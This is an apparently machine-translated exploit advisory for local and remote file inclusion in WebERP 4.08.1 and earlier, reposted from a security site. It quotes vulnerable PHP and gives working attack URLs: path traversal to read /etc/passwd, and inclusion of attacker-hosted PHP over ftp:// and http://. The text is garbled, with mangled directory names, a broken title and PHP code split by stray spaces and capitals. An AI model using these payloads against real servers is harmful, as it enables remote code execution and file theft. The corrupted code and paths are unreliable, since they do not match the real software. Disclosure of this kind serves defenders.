WebERP & lt; = 4.08.1 local and remote file inclusion

# [WebERP <= 4.08.1] Local/Remote File compression sion Vulnerability #
Affected program: "Accounting & Best Practice Business Administration System"
Official Website: http://www.weberp.org/
: Http://sourceforge.net/projects/web-erp/files/
 
File output due to the defect:./webERP/index. php (line: 4)
 
#1 <? Php
 
#2 $ PageSecurity = 0;
 
#3
 
#4 include ('regiondes/session. inc'); // 1
 
# .. Cut ..
 
#
 
# File:./webERP/schemdes/session. inc (lines: 4-16)
 
# .. Cut ..
 
#4 if (! Isset ($ PathPrefix) {// 2
 
#5 $ PathPrefix = '';
 
#6}
 
#7
 
#8
 
#9 if (! File_exists ($ PathPrefix. 'config. php') {// 3
 
#10 $ rootpath = dirname (htmlspecialchars ($ _ SERVER ['php _ SELF '], ENT_QUOTES, 'utf-8 '));
 
#11 if ($ rootpath = '/' OR $ rootpath = "\\"){
 
#12 $ rootpath = '';
 
#13}
 
#14 header ('location: '. $ rootpath.'/install/index. php ');
 
#15}
 
#16 include ($ PathPrefix. 'config. php'); // 4 [LFI]/[RFI]
 
# Www.2cto.com
 
#
 
# [LFI] (magic_quotes_gpc = Off ;)
 
# Vuln: http://www.bkjia.com/webERP/index. php? PathPrefix =.../../etc/passwd % 00
 
#
 
# [RFI #1] (allow_url_fopen = On; allow_url_include = On; register_globals = On ;)
 
# It is possible to bypass line :(! File_exists ($ PathPrefix. 'config. php ')),
 
# When we use some url wrappers. For example ftp ://
 
Example:
 
#
 
# Dun @ rd01 ~ $ Cat./config. php
 
# <? Php phpinfo ();?>
 
# Dun @ rd01 ~ $ Ftp ftp.server.com
 
# Connected to ftp.server.com.
 
# Name (ftp.server.com): user
 
#331 User user OK. Password required
 
# Password:
 
#230 OK. Current restricted directory is/
 
# Ftp> put config. php
 
# Local: config. php remote: config. php
 
#200 PORT command successful
 
#226 File successfully transferred
 
# Ftp> quit
 
#221 Logout.
 
#
 
# Now we can use url:
 
# Vuln: http://www.bkjia.com/webERP/index. php? PathPrefix = ftp: // user: password@ftp.server.com/
 
# In this case, script checks if the file 'ftp: // user: password@ftp.server.com/'. 'config. php' does not exist.
 
# If exist, then include it.
 
 
# [RFI #2] (allow_url_include = On; register_globals = On ;)
 
#
 
# File:./webERP/shortdes/shortagesetup. php (lines: 29-84)
 
# .. Cut ..
 
#29 if (! Function_exists ('gettext ')){
 
# .. Cut ..
 
#34 require_once ($ PathPrefix. 'des/php-gettext/streams. php ');
 
# .. Cut ..
 
#64} else {
 
#65 include ($ PathPrefix. 'pair des/LanguagesArray. php ');
 
# .. Cut ..
 
#84}
 
# .. Cut ..
 
#
 
Defect: http: // localhost/webERP/schemdes/LanguageSetup. php? PathPrefix = http: // localhost/phpinfo.txt?